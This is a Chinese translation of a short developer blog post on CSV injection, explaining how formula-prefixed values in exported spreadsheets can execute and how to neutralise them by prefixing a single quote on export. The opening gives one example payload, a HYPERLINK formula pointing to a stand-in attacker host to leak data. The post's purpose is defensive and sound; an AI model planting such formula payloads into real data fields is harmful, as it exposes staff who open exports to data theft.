CSV 注入:运行代码的导出按钮

一位客户输入姓名。他们输入 =HYPERLINK("http://evil.example/leak", "click")。你的系统接受了它。它看起来就像普通文本。

数周后,你的财务团队将客户列表导出为 CSV。他们在 Excel 中打开该文件。那个单元格不再是文本,而是一个公式。

这就是 CSV 注入。人们也称之为公式注入。这是电子商务后台中常见的一个漏洞。大多数团队都不会对其进行测试。

电子表格应用不会将每个单元格都视为文本。如果单元格以 =, +, -@ 开头,Excel 或 Google Sheets 会将其读取为公式。

公式不仅仅能进行数学计算。它可以构建 URL,可以访问网络,在某些情况下,它甚至可以在计算机上执行命令。

数据在你的数据库中保持为文本。但一旦有人打开文件,它就会变成可执行内容。通常,受害者是拥有高权限的员工。

只要涉及导出用户数据,你就会面临风险:

  • 客户姓名和地址导出
  • 导出为 CSV 的订单列表
  • 来自供应商的产品馈送
  • 联系表单数据转储

攻击者不需要管理员权限。他们只需将自己的姓名设置为公式,然后静候时机。

不要试图在输入验证阶段修复此问题。在电子表格读取之前,该值都是合法的文本。相反,你应该在写入 CSV 文件时对数据进行清理。

如果单元格以 =, +, -, @、制表符或回车符开头,请在前面添加一个单引号。

逻辑示例: 如果值以触发字符开头,则返回 "'" + value

单引号会告诉电子表格将该单元格视为文本。电子表格会向用户隐藏这个引号。在数据进入文件之前,请对每个字段进行此项检查。

不要在数据库中对数据进行转义。该值在数据库中是正常的,在 HTML 中也是正常的。它仅在 CSV 中具有危险性。守好 CSV 边界,以确保你的数据在其他地方保持干净。

不要盲目信任你的内部导出文件。攻击者正通过这些文件瞄准你的员工。

CSV 注入不会触发可怕的扫描器警报。它隐藏在你多年前构建的导出按钮中。现在就检查你的 CSV 导出代码吧。如果你不保护每个单元格的首字符,你就会面临风险。

来源:https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6